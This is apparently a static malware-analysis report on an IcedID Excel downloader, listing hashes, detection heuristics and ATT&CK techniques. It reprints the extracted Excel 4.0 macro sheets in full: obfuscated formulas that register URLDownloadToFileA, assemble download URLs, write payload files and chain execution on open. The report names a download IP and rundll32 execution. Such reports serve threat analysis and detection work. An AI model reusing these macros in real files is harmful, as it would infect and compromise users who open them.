IcedID — Office (OOXML) malware analysis

Static analysis result for SHA-256 012dd90699c3c031…

MALICIOUS

Office (OOXML)

329.9 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-05-29
MD5: e668fc3758d63be00b2e4d1f7eecf97a SHA-1: 6541f5e1ce3a690a17d16213f34e4ba61ee10f09 SHA-256: 012dd90699c3c031eaeb1cd75f1fcc12256f7fbb1b06f77b09ef2b595cd08153
250 Risk Score

Malware Insights

IcedID · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is an Excel file containing multiple Excel 4.0 macro sheets, identified by the OOXML_XLM_MACROSHEET heuristic. These macros utilize dangerous functions like FORMULA, REGISTER, and EXEC to download and execute a payload. Specifically, the macros attempt to download from IP addresses including '217.147.172.65' and execute a file using 'rundll32'. The ClamAV detection explicitly names the family as IcedID.

Heuristics 6

  • ClamAV: Xls.Downloader.IcedID-9f1f1d193a2a2a2b-9951463-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.IcedID-9f1f1d193a2a2a2b-9951463-0
  • Excel 4.0 macro sheet (10 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: FORMULA, GOTO, REGISTER, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 10 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/spreadsheetml/2006/main In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 10

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet1.xml 3139 bytes
SHA-256: 080bf0d1913eabdbe68c9f55d92e797adb72f1bc1d886b19764eaaf321e40bcc
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{E47BFF16-3647-4865-B01F-CFF5032E32ED}"><dimension ref="F7:K24"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="8.42578125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="9" width="8.42578125" style="1"/><col min="10" max="10" width="22.140625" style="1" bestFit="1" customWidth="1"/><col min="11" max="16384" width="8.42578125" style="1"/></cols><sheetData><row r="7" spans="6:11" x14ac:dyDescent="0.25"><c r="J7" s="1" t="b"><f>FORMULA(F12&amp;Pervi2!F13&amp;Pervi2!E14,J9)</f><v>0</v></c></row><row r="10" spans="6:11" x14ac:dyDescent="0.25"><c r="I10" s="1" t="s"><v>0</v></c><c r="J10" s="1"><f>RANDBETWEEN(245,8675436)</f><v>7800682</v></c></row><row r="12" spans="6:11" x14ac:dyDescent="0.25"><c r="F12" s="1" t="s"><v>1</v></c></row><row r="13" spans="6:11" x14ac:dyDescent="0.25"><c r="F13" s="1" t="s"><v>2</v></c><c r="J13" s="1" t="e"><f>Kokiser(0,K13&amp;I14&amp;J10&amp;I10,sobr1!D15,J24,J24)</f><v>#NAME?</v></c><c r="K13" s="1" t="str"><f>K16&amp;K17&amp;K18</f><v>http://</v></c></row><row r="14" spans="6:11" x14ac:dyDescent="0.25"><c r="F14" s="1" t="s"><v>12</v></c><c r="I14" s="1" t="s"><v>13</v></c></row><row r="15" spans="6:11" x14ac:dyDescent="0.25"><c r="F15" s="1" t="s"><v>11</v></c><c r="I15" s="1" t="s"><v>14</v></c><c r="J15" s="1" t="e"><f>Kokiser(0,K13&amp;I15&amp;J10&amp;I10,sobr1!E15,J24,J24)</f><v>#NAME?</v></c></row><row r="16" spans="6:11" x14ac:dyDescent="0.25"><c r="F16" s="1" t="s"><v>9</v></c><c r="I16" s="1" t="s"><v>15</v></c><c r="K16" s="1" t="str"><f>"ht"</f><v>ht</v></c></row><row r="17" spans="6:11" x14ac:dyDescent="0.25"><c r="F17" s="1" t="s"><v>10</v></c><c r="J17" s="1" t="e"><f>Kokiser(0,K13&amp;I16&amp;J10&amp;I10,sobr1!F15,J24,J24)</f><v>#NAME?</v></c><c r="K17" s="1" t="str"><f>"tp"</f><v>tp</v></c></row><row r="18" spans="6:11" x14ac:dyDescent="0.25"><c r="F18" s="1" t="s"><v>3</v></c><c r="K18" s="1" t="str"><f>"://"</f><v>://</v></c></row><row r="21" spans="6:11" x14ac:dyDescent="0.25"><c r="J21" s="1" t="b"><f>GOTO(sobr1!H4)</f><v>0</v></c></row><row r="24" spans="6:11" x14ac:dyDescent="0.25"><c r="J24" s="1"><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>
xlm_sheet_01.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet2.xml 1775 bytes
SHA-256: 05164b9cb70e0037b39b203885ebd44decd4d50bf6d78fd17a97030d1a30d169
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{FE4C23C8-402C-4855-A94B-79B9C3B5C8C7}"><dimension ref="E13:F15"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="8.42578125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="8.42578125" style="1"/></cols><sheetData><row r="13" spans="5:6" x14ac:dyDescent="0.25"><c r="F13" s="1" t="str"><f>Pervi!F13&amp;Pervi!F14</f><v>REGISTER("uRlMon","URL</v></c></row><row r="14" spans="5:6" x14ac:dyDescent="0.25"><c r="E14" s="1" t="str"><f>F14&amp;F15</f><v>DownloadToFileA","JJCCBB","Kokiser",,1,9)</v></c><c r="F14" s="1" t="str"><f>Pervi!F15&amp;Pervi!F16</f><v>DownloadToFile</v></c></row><row r="15" spans="5:6" x14ac:dyDescent="0.25"><c r="F15" s="1" t="str"><f>Pervi!F17&amp;Pervi!F18</f><v>A","JJCCBB","Kokiser",,1,9)</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>
xlm_sheet_02.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet3.xml 2200 bytes
SHA-256: 57964786069256c3cde5b674c74c83e32c7950a5a81fb86406607b9295962e79
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{8C705E67-FBCE-463D-956E-F101FD370AA7}"><dimension ref="D10:H18"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="8.42578125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="8.42578125" style="1"/></cols><sheetData><row r="10" spans="4:8" x14ac:dyDescent="0.25"><c r="H10" s="1" t="b"><f>FORMULA(D13&amp;D14&amp;D15,I10)</f><v>0</v></c></row><row r="12" spans="4:8" x14ac:dyDescent="0.25"><c r="D12" s="1" t="s"><v>1</v></c></row><row r="13" spans="4:8" x14ac:dyDescent="0.25"><c r="D13" s="1" t="s"><v>4</v></c></row><row r="14" spans="4:8" x14ac:dyDescent="0.25"><c r="D14" s="1" t="s"><v>5</v></c></row><row r="15" spans="4:8" x14ac:dyDescent="0.25"><c r="D15" s="1" t="str"><f>"..\Hikos.hertolo"</f><v>..\Hikos.hertolo</v></c><c r="E15" s="1" t="str"><f>"..\Hikos.hertolo1"</f><v>..\Hikos.hertolo1</v></c><c r="F15" s="1" t="str"><f>"..\Hikos.hertolo2"</f><v>..\Hikos.hertolo2</v></c></row><row r="16" spans="4:8" x14ac:dyDescent="0.25"><c r="D16" s="1" t="s"><v>6</v></c></row><row r="17" spans="4:8" x14ac:dyDescent="0.25"><c r="D17" s="1" t="s"><v>7</v></c><c r="H17" s="1" t="b"><f>GOTO(sobr111!G9)</f><v>0</v></c></row><row r="18" spans="4:8" x14ac:dyDescent="0.25"><c r="D18" s="1" t="s"><v>8</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_03.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet4.xml 1453 bytes
SHA-256: 8e54ca9c8231ff6eeb2f34ba5a3783f05811c03293e81c3321c593743fc7d49b
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{181EBE6F-8590-4441-A48C-0D49315714E2}"><dimension ref="G12:G21"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="8.42578125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="8.42578125" style="1"/></cols><sheetData><row r="12" spans="7:7" x14ac:dyDescent="0.25"><c r="G12" s="1" t="b"><f>FORMULA(sobr1!D16&amp;sobr1!D17&amp;sobr1!D18,H12)</f><v>0</v></c></row><row r="21" spans="7:7" x14ac:dyDescent="0.25"><c r="G21" s="1" t="b"><f>GOTO(sobr2!H8)</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_04.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet5.xml 1453 bytes
SHA-256: bc63d00a02951125a391dfed946345cbbd3e47d5e732e1f67ca4c1232e853427
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{909A7A1B-3141-4E9F-ACDA-5112CD802904}"><dimension ref="H12:H19"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="8.42578125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="8.42578125" style="1"/></cols><sheetData><row r="12" spans="8:8" x14ac:dyDescent="0.25"><c r="H12" s="1" t="b"><f>FORMULA(sobr1!D13&amp;sobr1!D14&amp;sobr1!E15,I12)</f><v>0</v></c></row><row r="19" spans="8:8" x14ac:dyDescent="0.25"><c r="H19" s="1" t="b"><f>GOTO(sobr3!H7)</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_05.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet6.xml 1452 bytes
SHA-256: 1da17f060335fdb67c88a8c48e73de301d69d9af4b69c610a8ce665eeb86cad7
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{173EF3D9-3A82-495A-8C09-62B0D75AC525}"><dimension ref="H14:H21"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="8.42578125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="8.42578125" style="1"/></cols><sheetData><row r="14" spans="8:8" x14ac:dyDescent="0.25"><c r="H14" s="1" t="b"><f>FORMULA(sobr1!D13&amp;sobr1!D14&amp;sobr1!F15,I14)</f><v>0</v></c></row><row r="21" spans="8:8" x14ac:dyDescent="0.25"><c r="H21" s="1" t="b"><f>GOTO(zap1!H7)</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_06.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet7.xml 1454 bytes
SHA-256: f6b4423280cd454553d841491284df3eff350a07bc739b9add3542ffb6a9432a
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{0DA7ECFB-5281-438C-A3F5-354783F37D5B}"><dimension ref="H10:H18"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="8.42578125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="8.42578125" style="1"/></cols><sheetData><row r="10" spans="8:8" x14ac:dyDescent="0.25"><c r="H10" s="1" t="b"><f>FORMULA(sobr1!D12&amp;sobr1!I10&amp;sobr111!H12,H13)</f><v>0</v></c></row><row r="18" spans="8:8" x14ac:dyDescent="0.25"><c r="H18" s="1" t="b"><f>GOTO(zap2!I6)</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_07.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet8.xml 1455 bytes
SHA-256: bdf4c4c111e091debcc20b38007edacf914de0a9b4c13576faa0148f2eae61a7
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{B72A5B93-7EB0-4ADC-81C4-2331D80C6217}"><dimension ref="I15:I22"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="8.42578125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="8.42578125" style="1"/></cols><sheetData><row r="15" spans="9:9" x14ac:dyDescent="0.25"><c r="I15" s="1" t="b"><f>FORMULA(sobr1!D12&amp;sobr2!I12&amp;sobr111!H12,I18)</f><v>0</v></c></row><row r="22" spans="9:9" x14ac:dyDescent="0.25"><c r="I22" s="1" t="b"><f>GOTO(zap3!J11)</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_08.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet9.xml 1451 bytes
SHA-256: a6ea880b09fb36b15b9b86dc98d863447933c1968cf6c7d3bec7927472189efa
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{58AF8ED4-316A-4BC0-A18B-1ED79419BFAC}"><dimension ref="J15:J20"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="8.42578125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="8.42578125" style="1"/></cols><sheetData><row r="15" spans="10:10" x14ac:dyDescent="0.25"><c r="J15" s="1" t="b"><f>FORMULA(sobr1!D12&amp;sobr3!I14&amp;sobr111!H12,J18)</f><v>0</v></c></row><row r="20" spans="10:10" x14ac:dyDescent="0.25"><c r="J20" s="1" t="b"><f>HALT()</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_09.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 1496 bytes
SHA-256: 6b415b149f32e6deb26c4b2856c7977501b27603cf485b4daf15fd4fee7940d5
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{E82A3E90-EF7C-4C67-A03E-D054DC7362F9}"><dimension ref="A9:A16"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="8.42578125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="8.42578125" style="1"/></cols><sheetData><row r="9" spans="1:1" x14ac:dyDescent="0.25"><c r="A9" s="1" t="b"><f>PI()=ON.TIME(NOW()+"00:00:02","Klote")=PI()</f><v>0</v></c></row><row r="16" spans="1:1" x14ac:dyDescent="0.25"><c r="A16" s="1" t="b"><f>HALT()</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>

Open this report in the interactive analyzer, or submit your own file for analysis.